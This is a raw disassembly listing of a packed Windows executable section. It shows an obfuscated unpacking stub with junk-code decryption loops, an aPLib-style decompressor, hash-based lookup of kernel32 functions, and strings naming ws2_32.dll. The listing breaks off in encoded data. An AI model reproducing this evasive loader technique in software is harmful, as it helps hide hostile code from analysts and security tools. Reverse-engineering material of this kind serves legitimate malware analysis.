.nsp0:00409E07r ... dd 0 dword_462BEC dd 0 ; sub_41BCD9+9r ... dword_462BF0 dd 0 dword_462BF4 dd 0 ; sub_41C0A7+4r ... dd 3 dup(0) byte_462C04 db 0 ; DATA XREF: sub_413FF9+2Dw ; sub_419A48+5r align 4 dword_462C08 dd 0 dword_462C0C dd 0 ; sub_413FF9+8Bw dword_462C10 dd 0 ; sub_418F3D:loc_418F4Fr ... align 8 dword_462C18 dd 0 dword_462C1C dd 0 dd 0 dword_462C24 dd 0 ; sub_413D8F:loc_413E8Br ... dword_462C28 dd 0 dword_462C2C dd 0 ; sub_4169EA+1Ar ... byte_462C30 db 0 ; DATA XREF: sub_4168E6+3r ; sub_4168E6+98r ... align 4 dword_462C34 dd 0 ; sub_416AC8+21w ... byte_462C38 db 0 ; DATA XREF: sub_416AC8+51w align 4 dword_462C3C dd 0 ; sub_417099+3Ar ... dword_462C40 dd 0 ; sub_417099+43r ... dword_462C44 dd 0 ; sub_416E65+5r dword_462C48 dd 0 dword_462C4C dd 0 ; .nsp0:0041868Dw ... dd 2 dup(0) dword_462C58 dd 0 ; sub_413A37+9Dr ... dd 3 dup(0) dword_462C68 dd 0 ; sub_4142C9+BFr ... align 10h dword_462C70 dd 0 ; sub_418A29+4w ... dword_462C74 dd 0 ; .nsp0:00418DA7w ... dword_462C78 dd 41h dup(0) dword_462D7C dd 0 ; sub_419243+23w ... dword_462D80 dd 0 dword_462D84 dd 0 ; sub_415150+154w ... dword_462D88 dd 0 ; .nsp0:loc_419B2Ew dword_462D8C dd 0 word_462D90 dw 0 ; DATA XREF: sub_41A6AC+1Ao ; sub_41A6AC+46r byte_462D92 db 0 ; DATA XREF: sub_41A6AC+39r align 4 dword_462D94 dd 7 dup(0) dword_462DB0 dd 0 ; sub_41A6AC+5Co dword_462DB4 dd 0 dword_462DB8 dd 0 dword_462DBC dd 0 dword_462DC0 dd 0 ; sub_41A7CF+38r ... align 8 dword_462DC8 dd 0 ; sub_41AA32+63w ... align 10h dword_462DD0 dd 0 ; sub_41AA32+46r dword_462DD4 dd 10h dup(0) word_462E14 dw 0 ; DATA XREF: sub_41AC90+A8r word_462E16 dw 0 ; DATA XREF: sub_41AA32+54r ; sub_41AC90+DBr ... word_462E18 dw 0 ; DATA XREF: sub_41AC90+CAr word_462E1A dw 0 ; DATA XREF: sub_41AC90+D3r ; sub_41AC90:loc_41AD82r word_462E1C dw 0 ; DATA XREF: sub_41AC90+C0r word_462E1E dw 0 ; DATA XREF: sub_41AC90+B8r word_462E20 dw 0 ; DATA XREF: sub_41AC90+B0r word_462E22 dw 0 ; DATA XREF: sub_41AC90+9Er dword_462E24 dd 0 dword_462E28 dd 10h dup(0) word_462E68 dw 0 ; DATA XREF: sub_41AC90+46r word_462E6A dw 0 ; DATA XREF: sub_41AA32:loc_41AAA9r ; sub_41AC90+78r ... word_462E6C dw 0 ; DATA XREF: sub_41AC90+67r word_462E6E dw 0 ; DATA XREF: sub_41AC90+70r ; sub_41AC90:loc_41AD14r word_462E70 dw 0 ; DATA XREF: sub_41AC90+5Dr word_462E72 dw 0 ; DATA XREF: sub_41AC90+55r word_462E74 dw 0 ; DATA XREF: sub_41AC90+4Dr word_462E76 dw 0 ; DATA XREF: sub_41AC90+3Er dword_462E78 dd 0 dword_462E7C dd 0 ; sub_41AA32:loc_41AB7Er ... dword_462E80 dd 0 dword_462E84 dd 0 ; resolved to->USER32.MessageBoxA ; sub_41AFBE+2Ew ... dword_462E88 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41AFBE:loc_41B00Dr dword_462E8C dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41AFBE+60r dword_462E90 dd 0 dword_462E94 dd 0 ; sub_41BB67+6Do dword_462E98 dd 0 ; sub_41BB67+44o dword_462E9C dd 0 ; sub_41BB67+37o dword_462EA0 dd 0 ; sub_41BB67+51o align 8 dword_462EA8 dd 0 ; sub_41C115+48w ... byte_462EAC db 0 ; DATA XREF: sub_40388Fr sub_40388F+9w ... align 10h dword_462EB0 dd 0 ; sub_4152C0+14r ... align 10h dword_462EC0 dd 400h dup(0) ; .nsp0:00431BB0o dword_463EC0 dd 0 ; sub_415019+56r ... dd 7 dup(0) dword_463EE0 dd 0 ; sub_418180+75r ... dword_463EE4 dd 3Fh dup(0) dword_463FE0 dd 0 ; sub_418259+Cr ... dword_463FE4 dd 0 ; .nsp0:004188F5w ... align 10h dword_463FF0 dd 3 dup(0) ; .nsp0:00418A01o ... dword_463FFC dd 0 ; .nsp0:004189EDw ... byte_464000 db 0 ; DATA XREF: sub_418ACF:loc_418BDBw ; sub_418ACF:loc_418BF8w ... align 4 dd 3Fh dup(0) byte_464100 db 0 ; DATA XREF: .nsp0:004188ECo ; .nsp0:0041893Fo ... byte_464101 db 0 ; DATA XREF: sub_413BF8+5Dr ; .nsp0:00418930w ... align 4 dd 40h dup(0) dword_464204 dd 0 ; .nsp0:004189BBw ... dword_464208 dd 0 ; sub_415A2C+5r ... dword_46420C dd 0 ; sub_4153F8+259r ... dword_464210 dd 0 ; sub_4153F8+310w ... dword_464214 dd 0 ; sub_4153F8+22Cr ... dword_464218 dd 0 ; sub_4153CDr ... dword_46421C dd 0 ; sub_4153CD+8r ... dword_464220 dd 0 ; sub_412813+21r ... dword_464224 dd 0 ; .nsp0:00418EF4r ... dword_464228 dd 0 ; sub_41BCD9r dword_46422C dd 0 ; sub_418C54+11w ... dword_464230 dd 0 ; sub_4131A3:loc_4131E5r ... dword_464234 dd 0 ; sub_4131A3+Cr ... byte_464238 db 0 ; DATA XREF: sub_41C994+15r ; sub_41C994+1Ew align 4 dd 371h dup(0) db 90h ; --------------------------------------------------------------------------- pusha call loc_46500A ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- jmp short loc_46500E ; --------------------------------------------------------------------------- loc_46500A: ; CODE XREF: .nsp0:00465002j pop ebp inc ebp push ebp retn ; --------------------------------------------------------------------------- loc_46500E: ; CODE XREF: .nsp0:00465008j call loc_465014 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_465014: ; CODE XREF: .nsp0:loc_46500Ej pop ebp mov ebx, 0FFFFFFEDh add ebx, ebp sub ebx, 65000h cmp byte ptr [ebp+4Dh], 1 jnz short loc_465034 mov esi, [esp+28h] cmp esi, 1 mov [ebp+4Eh], ebx jnz short loc_465065 loc_465034: ; CODE XREF: .nsp0:00465026j lea eax, [ebp+53h] push eax push ebx push dword ptr [ebp+9EDh] lea eax, [ebp+35h] push eax jmp loc_4650CA ; --------------------------------------------------------------------------- dword_465048 dd 3D0000h, 30000h, 7C809AE4h, 3FE000h, 7C801D77h, 7C80B6A1h ; DATA XREF: .nsp0:004654C8o dd 0 db 0 ; --------------------------------------------------------------------------- loc_465065: ; CODE XREF: .nsp0:00465032j mov eax, 23A5C0F8h push eax push eax add eax, [ebp+4Eh] pop ebx test eax, eax jz short loc_465090 jmp short loc_465077 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_465077: ; CODE XREF: .nsp0:00465074j cmp ebx, 23A5C0F8h jz short loc_4650B4 xor edx, edx push esi push 0 push esi push dword ptr [ebp+4Eh] call eax pop esi cmp esi, 0 jnz short loc_4650B4 loc_465090: ; CODE XREF: .nsp0:00465072j xor edx, edx mov eax, [ebp+41h] test eax, eax jz short loc_4650A0 push edx push edx push dword ptr [ebp+35h] call eax loc_4650A0: ; CODE XREF: .nsp0:00465097j mov eax, [ebp+35h] test eax, eax jz short loc_4650B4 push 8000h push 0 push dword ptr [ebp+35h] call dword ptr [ebp+3Dh] loc_4650B4: ; CODE XREF: .nsp0:0046507Dj ; .nsp0:0046508Ej ... pop ebx or ebx, ebx popa jnz short loc_4650C0 push 1 pop eax retn 0Ch ; --------------------------------------------------------------------------- loc_4650C0: ; CODE XREF: .nsp0:004650B8j xor eax, eax neg eax sbb eax, eax inc eax retn 0Ch ; --------------------------------------------------------------------------- loc_4650CA: ; CODE XREF: .nsp0:00465043j mov al, 6Ah call near ptr loc_4650D3+4 push esi xlat loc_4650D3: ; CODE XREF: .nsp0:004650CCp les ebp, [ebp-2F498C1Eh] pop ebx mov ax, 48C7h add ebx, 8BDh call near ptr loc_4650EC+4 arpl [eax+19h], sp loc_4650EC: ; CODE XREF: .nsp0:004650E4p fidivr word ptr [edi-2E752A74h] pop edx mov ecx, 47B0508Dh sub ecx, 47B04E80h jmp loc_465111 ; --------------------------------------------------------------------------- db 8Eh dd 9A45BCAFh, 66C1A8CBh, 0F2FD54A7h ; --------------------------------------------------------------------------- inc ebx loc_465111: ; CODE XREF: .nsp0:004650FEj ; .nsp0:00465154j mov esi, [ebx] push 0AF9D39Fh movzx eax, dx pop edx sub esi, 0D87C53Dh xor eax, 3EA42DF0h xor esi, 2B15C132h push 7104E28Fh mov dh, 2Ch pop eax sub esi, 17CCAE83h xor edx, 205974D9h mov [ebx], esi and ax, 638h sub ebx, 4 mov dh, al sub ecx, 1 jnz loc_465111 mov dx, 0DE5Ah mov edx, eax call near ptr loc_465169+5 lea eax, [edx+53h] nop loc_465169: ; CODE XREF: .nsp0:00465160p mov [esi-17BA4351h], ecx or eax, 0C1000000h cmpsw push esp std repne inc ebx sar cl, 3Eh lahf in al, dx mov ch, 59h pop eax mov cx, dx add eax, 828h add dx, 0B0ABh push 1D4h jl loc_46519E movzx ecx, bx loc_46519E: ; CODE XREF: .nsp0:00465195j pop esi mov cx, di loc_4651A2: ; CODE XREF: .nsp0:00465233j push dword ptr [eax] jle loc_4651B4 push 2124C577h mov di, 1C50h pop edx loc_4651B4: ; CODE XREF: .nsp0:004651A4j pop ebx mov di, si add ebx, 626E4263h add cl, 14h sub ebx, 7CBE9E60h mov cx, 0ABB9h xor ebx, 0FAADF19h jmp loc_4651E7 ; --------------------------------------------------------------------------- dw 0A75h dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi fsubr st(5), st loc_4651E7: ; CODE XREF: .nsp0:004651D1j mov [eax], ebx mov dx, 8786h sub eax, 4 add dx, 7A99h dec esi jnz loc_46521C push eax jnb loc_465205 push eax pop ecx loc_465205: ; CODE XREF: .nsp0:004651FDj pop edi jmp loc_465241 ; --------------------------------------------------------------------------- db 0C5h dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh ; --------------------------------------------------------------------------- loc_46521C: ; CODE XREF: .nsp0:004651F6j push 12D0BD58h jmp loc_465232 ; --------------------------------------------------------------------------- add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_46525D loc_465232: ; CODE XREF: .nsp0:00465221j pop edi jmp loc_4651A2 ; --------------------------------------------------------------------------- dd 0A0A3D25Dh, 0CCFF1E59h db 15h ; --------------------------------------------------------------------------- loc_465241: ; CODE XREF: .nsp0:00465206j add dx, 0EF7Bh call sub_465258 icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st ; =============== S U B R O U T I N E ======================================= sub_465258 proc near ; CODE XREF: .nsp0:00465246p mov cx, 9561h pop ebx loc_46525D: ; CODE XREF: .nsp0:00465230j mov edi, 689FC0E0h add ebx, 741h adc dh, 55h mov eax, 23B4C75Bh add eax, 0DC4B3A4Bh loc_465276: ; CODE XREF: sub_465258+8Aj mov esi, [ebx] and dh, 0C5h sub esi, 36F67767h jnb loc_465290 jnb loc_465290 movzx edx, bx loc_465290: ; CODE XREF: sub_465258+29j ; sub_465258+2Fj add esi, 7FFC6914h movzx ecx, bx sub esi, 3FF505BDh push ebx or edx, 232747E9h pop ecx push esi mov di, cx pop dword ptr [ebx] jnp loc_4652B6 movsx edx, cx loc_4652B6: ; CODE XREF: sub_465258+55j sub ebx, 4 sub di, 1615h dec eax jnz loc_4652DE mov ch, 0B9h jmp loc_4652F8 ; --------------------------------------------------------------------------- dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h db 32h, 83h ; --------------------------------------------------------------------------- loc_4652DE: ; CODE XREF: sub_465258+67j mov cx, 0F3DFh jmp loc_465276 ; --------------------------------------------------------------------------- db 0F5h dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_4652F8: ; CODE XREF: sub_465258+6Fj call near ptr loc_465306+6 mov ebp, [eax-7Fh] db 26h, 67h adc al, 0BDh mov dl, 3 loc_465306: ; CODE XREF: sub_465258:loc_4652F8p cmp byte ptr [ecx+75AC5FFEh], 0B4h sub_465258 endp ; sp-analysis failed sbb eax, 9E85Ah ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov bh, 11h pop esi movzx eax, di add esi, 677h movsx edx, si mov ecx, 76E68D1h sub ecx, 76E6759h mov ax, di loc_46533A: ; CODE XREF: .nsp0:00465398j push dword ptr [esi] add bh, 0C5h pop edi push 7B663328h mov edx, 1E7F59D4h pop ebx xor edi, 27337F4Dh push 21B487BEh mov bx, 0B658h pop ebx xor edi, 6444DA02h movzx eax, di xor edi, 4B499F13h mov dh, 5Ch mov [esi], edi mov dl, bh sub esi, 4 mov dx, ax sub ecx, 1 jnz loc_465395 mov eax, ecx jmp loc_4653AF ; --------------------------------------------------------------------------- db 64h, 0CDh, 82h dd 0CEC9D093h, 0DA85FCEFh db 0Bh ; --------------------------------------------------------------------------- loc_465395: ; CODE XREF: .nsp0:0046537Cj adc al, 94h jmp loc_46533A ; --------------------------------------------------------------------------- db 32h, 83h, 0 dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h db 0ADh, 0E2h, 73h ; --------------------------------------------------------------------------- loc_4653AF: ; CODE XREF: .nsp0:00465384j mov ax, 315h call near ptr loc_4653C6+1 sbb edi, [eax+64F7F691h] int 82h xchg eax, ebx ror cl, 1 into out dx, eax cld loc_4653C6: ; CODE XREF: .nsp0:004653B3p test [eax-18h], ebp or dl, dl inc esp mov esi, ebx pop esi pop edi mov ah, 56h add edi, 5D4h or esi, 3EABB630h sub edx, edx push 144E055Ch mov bl, 1Bh pop eax loc_4653E8: ; CODE XREF: .nsp0:0046544Dj push dword ptr [edx+edi] jmp loc_4653F7 ; --------------------------------------------------------------------------- dd 0DE196063h db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_4653F7: ; CODE XREF: .nsp0:004653EBj pop ecx mov ax, 0E151h xor ecx, 1EE0A688h add ecx, 6D948821h mov bl, 0Ch xor ecx, 143E3446h call near ptr loc_465425+1 inc ebp call far ptr 54A7h:66C1A8CBh std repne inc ebx sar cl, 3Eh lahf in al, dx loc_465425: ; CODE XREF: .nsp0:00465410p mov ch, 66h sbb esi, 51585F16h jmp loc_465437 ; --------------------------------------------------------------------------- dw 0EE69h db 8Fh, 1Ch, 25h ; --------------------------------------------------------------------------- loc_465437: ; CODE XREF: .nsp0:0046542Dj pop dword ptr [edi+edx] mov ebx, eax mov si, 0E8DDh sub edx, 4 mov si, 0B67Fh cmp edx, 0FFFFFAD8h jnz loc_4653E8 jmp loc_465468 ; --------------------------------------------------------------------------- dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch ; --------------------------------------------------------------------------- loc_465468: ; CODE XREF: .nsp0:00465453j call $+5 pop ebp pop ebx mov [ebp+5Bh], ebx pop ebx mov [ebp+5Fh], ebx pop eax mov [ebp+40Dh], eax pop eax cmp byte ptr [ebp+5Ah], 1 jnz short loc_4654DD mov [ebp+425h], eax pusha lea eax, [ebp+33h] push eax xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_465782 jmp short loc_4654BC ; --------------------------------------------------------------------------- mov esp, [esp+8] pop dword ptr fs:0 add esp, 4 popa lea eax, [ebp+63h] push eax call dword ptr [ebp+5Fh] call loc_465798 jmp short loc_4654C5 ; --------------------------------------------------------------------------- loc_4654BC: ; CODE XREF: .nsp0:0046549Ej pop dword ptr fs:0 add esp, 24h loc_4654C5: ; CODE XREF: .nsp0:004654BAj jmp short loc_4654E2 ; --------------------------------------------------------------------------- align 4 dd offset dword_465048 aBAKernel32_dll db '|kernel32.dll',0 ; --------------------------------------------------------------------------- loc_4654DD: ; CODE XREF: .nsp0:00465482j call sub_46577E loc_4654E2: ; CODE XREF: .nsp0:loc_4654C5j cld lea esi, [ebp+8Ch] lodsd or eax, eax jz short loc_465509 mov edi, eax mov ecx, 0Ch rep movsb jmp short loc_465509 ; --------------------------------------------------------------------------- align 2 dw 4010h dd 0BC432800h, 0A2111932h, 2F564680h ; --------------------------------------------------------------------------- setalc loc_465509: ; CODE XREF: .nsp0:004654ECj ; .nsp0:004654F7j mov [ebp+429h], esp push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+1CCh], eax mov ebx, [ebp+400h] add ebx, [ebp+40Dh] push eax push ebx call sub_465641 push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+431h], eax mov [ebp+1D0h], eax mov eax, fs:0 mov [ebp+42Dh], eax mov edx, [ebp+5Bh] mov eax, [ebp+1D0h] mov [edx], eax mov eax, [ebp+408h] mov [edx+4], eax lea eax, [ebp+39Fh] mov eax, [eax+55h] mov [edx+8], eax mov eax, [ebp+3ECh] mov [edx+10h], eax mov eax, [ebp+3E8h] mov [edx+14h], eax mov edx, [ebp+1CCh] mov ebx, 1F8h loc_4655A6: ; CODE XREF: .nsp0:004655CAj mov edi, [edx+ebx+0Ch] or edi, edi jz short loc_4655CC mov ecx, [edx+ebx+10h] or ecx, ecx jz short loc_4655C7 add edi, [ebp+1D0h] mov esi, [edx+ebx+14h] add esi, edx sar ecx, 2 rep movsd loc_4655C7: ; CODE XREF: .nsp0:004655B4j add ebx, 28h jmp short loc_4655A6 ; --------------------------------------------------------------------------- loc_4655CC: ; CODE XREF: .nsp0:004655ACj mov eax, [ebp+1CCh] push eax mov edx, [ebp+1D0h] push edx mov ebx, [eax] add ebx, edx mov eax, [ebp+3E4h] mov [ebx], eax mov eax, [ebp+3E8h] mov [ebx+4], eax mov eax, [ebp+3ECh] mov [ebx+8], eax pop edi pop esi mov eax, [esi+4] add eax, edi mov [ebp+1C7h], eax mov edx, [ebp+5Bh] mov eax, [ebp+1C7h] mov [edx+0Ch], eax lea ebx, [ebp+40Dh] push ebx push 0 push 0 push 1 push edi mov ebx, [esi+8] add ebx, edi push ebx push 8000h push 0 push esi call dword ptr [ebp+3F4h] push 3FE000h retn ; --------------------------------------------------------------------------- db 2 dup(0), 3Ah dd 3D000000h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_465641 proc near ; CODE XREF: .nsp0:00465538p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha push ebp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_46564F: ; CODE XREF: sub_465641:loc_46565Ej mov al, [esi] inc esi mov [edi], al inc edi loc_465655: ; CODE XREF: sub_465641+72j ; sub_465641+B7j ... add dl, dl jnz short loc_46565E mov dl, [esi] inc esi adc dl, dl loc_46565E: ; CODE XREF: sub_465641+16j jnb short loc_46564F add dl, dl jnz short loc_465669 mov dl, [esi] inc esi adc dl, dl loc_465669: ; CODE XREF: sub_465641+21j jnb short loc_4656B5 xor eax, eax add dl, dl jnz short loc_465676 mov dl, [esi] inc esi adc dl, dl loc_465676: ; CODE XREF: sub_465641+2Ej jnb loc_465752 add dl, dl jnz short loc_465685 mov dl, [esi] inc esi adc dl, dl loc_465685: ; CODE XREF: sub_465641+3Dj adc eax, eax add dl, dl jnz short loc_465690 mov dl, [esi] inc esi adc dl, dl loc_465690: ; CODE XREF: sub_465641+48j adc eax, eax add dl, dl jnz short loc_46569B mov dl, [esi] inc esi adc dl, dl loc_46569B: ; CODE XREF: sub_465641+53j adc eax, eax add dl, dl jnz short loc_4656A6 mov dl, [esi] inc esi adc dl, dl loc_4656A6: ; CODE XREF: sub_465641+5Ej adc eax, eax jz short loc_4656B0 push edi sub edi, eax mov al, [edi] pop edi loc_4656B0: ; CODE XREF: sub_465641+67j mov [edi], al inc edi jmp short loc_465655 ; --------------------------------------------------------------------------- loc_4656B5: ; CODE XREF: sub_465641:loc_465669j mov eax, 1 loc_4656BA: ; CODE XREF: sub_465641:loc_4656CEj add dl, dl jnz short loc_4656C3 mov dl, [esi] inc esi adc dl, dl loc_4656C3: ; CODE XREF: sub_465641+7Bj adc eax, eax add dl, dl jnz short loc_4656CE mov dl, [esi] inc esi adc dl, dl loc_4656CE: ; CODE XREF: sub_465641+86j jb short loc_4656BA sub eax, 2 jnz short loc_4656FD mov ecx, 1 loc_4656DA: ; CODE XREF: sub_465641:loc_4656EEj add dl, dl jnz short loc_4656E3 mov dl, [esi] inc esi adc dl, dl loc_4656E3: ; CODE XREF: sub_465641+9Bj adc ecx, ecx add dl, dl jnz short loc_4656EE mov dl, [esi] inc esi adc dl, dl loc_4656EE: ; CODE XREF: sub_465641+A6j jb short loc_4656DA push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_465655 ; --------------------------------------------------------------------------- loc_4656FD: ; CODE XREF: sub_465641+92j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_46570B: ; CODE XREF: sub_465641:loc_46571Fj add dl, dl jnz short loc_465714 mov dl, [esi] inc esi adc dl, dl loc_465714: ; CODE XREF: sub_465641+CCj adc ecx, ecx add dl, dl jnz short loc_46571F mov dl, [esi] inc esi adc dl, dl loc_46571F: ; CODE XREF: sub_465641+D7j jb short loc_46570B cmp eax, 7D00h jnb short loc_465742 cmp eax, 500h jb short loc_46573D inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_465655 ; --------------------------------------------------------------------------- loc_46573D: ; CODE XREF: sub_465641+ECj cmp eax, 7Fh ja short loc_465745 loc_465742: ; CODE XREF: sub_465641+E5j add ecx, 2 loc_465745: ; CODE XREF: sub_465641+FFj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_465655 ; --------------------------------------------------------------------------- loc_465752: ; CODE XREF: sub_465641:loc_465676j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_46576E adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_465655 ; --------------------------------------------------------------------------- loc_46576E: ; CODE XREF: sub_465641+119j pop ebp sub edi, [ebp+arg_4] mov [ebp+var_4], edi popa pop ebp retn 8 sub_465641 endp ; --------------------------------------------------------------------------- dw 261Ch db 80h, 7Ch ; =============== S U B R O U T I N E ======================================= sub_46577E proc near ; CODE XREF: .nsp0:loc_4654DDp arg_20 = dword ptr 24h mov eax, [esp+arg_20] sub_46577E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_465782 proc near ; CODE XREF: .nsp0:00465499p and eax, 0FFFF0000h add eax, 10000h loc_46578C: ; CODE XREF: sub_465782+14j sub eax, 10000h cmp word ptr [eax], 5A4Dh jnz short loc_46578C loc_465798: ; CODE XREF: .nsp0:004654B5p pusha mov [ebp+3F8h], eax mov edx, eax mov ebx, eax add eax, [eax+3Ch] add ebx, [eax+78h] mov [ebp+30Dh], ebx lea ebx, [ebp+3CCh] lea edi, [ebp+3E4h] loc_4657BB: ; CODE XREF: sub_465782+4Dj mov esi, [ebx] mov [ebp+37Ch], esi call sub_4657D3 stosd add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_4657BB popa retn sub_465782 endp ; =============== S U B R O U T I N E ======================================= sub_4657D3 proc near ; CODE XREF: sub_465782+41p var_4 = dword ptr -4 pusha mov ebx, [ebp+30Dh] mov ecx, [ebx+20h] add ecx, edx loc_4657DF: ; CODE XREF: sub_4657D3+21j mov esi, [ecx] add esi, edx call sub_465817 mov edi, 49CD75CEh cmp eax, edi jz short loc_4657F6 add ecx, 4 jmp short loc_4657DF ; --------------------------------------------------------------------------- loc_4657F6: ; CODE XREF: sub_4657D3+1Cj sub ecx, [ebx+20h] sub ecx, edx shr ecx, 1 add ecx, [ebx+24h] add ecx, edx movzx ecx, word ptr [ecx] shl ecx, 2 add ecx, [ebx+1Ch] add ecx, edx mov ecx, [ecx] add ecx, edx mov [esp+20h+var_4], ecx popa retn sub_4657D3 endp ; =============== S U B R O U T I N E ======================================= sub_465817 proc near ; CODE XREF: sub_4657D3+10p push edx mov edx, 9C3B248Eh loc_46581D: ; CODE XREF: sub_465817+1Dj lodsb or al, al jz short loc_465836 xor dl, al mov al, 8 loc_465826: ; CODE XREF: sub_465817+1Bj shr edx, 1 jnb short loc_465830 xor edx, 0C1A7F39Ah loc_465830: ; CODE XREF: sub_465817+11j dec al jnz short loc_465826 jmp short loc_46581D ; --------------------------------------------------------------------------- loc_465836: ; CODE XREF: sub_465817+9j xchg eax, edx pop edx retn sub_465817 endp ; --------------------------------------------------------------------------- db 0A7h, 51h, 25h dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch dd 15A007Ch, 65B1C00h, 158F200h, 3000000h, 0 dd 2 dup(40h), 2 dup(0) dd 0E1000000h, 1, 0FFA40000h, 0FFE00012h, 12h, 1000003Dh dd 0BC000000h, 0DC7B0001h, 0D0000000h, 1C000001h, 14D60000h dd 0F0000000h, 34000001h, 61370001h, 46h dup(0) dd 2000h, 8, 6 dup(0) dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 65A10h, 659FCh, 3 dup(0) dd 65AB4h, 65AD9h, 3 dup(0) dd 65ABFh, 65AE1h, 3 dup(0) db 0CCh db 5Ah, 6, 0 ; --------------------------------------------------------------------------- jmp loc_4660FB ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h dd 74706563h, 6E6F69h, 0 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 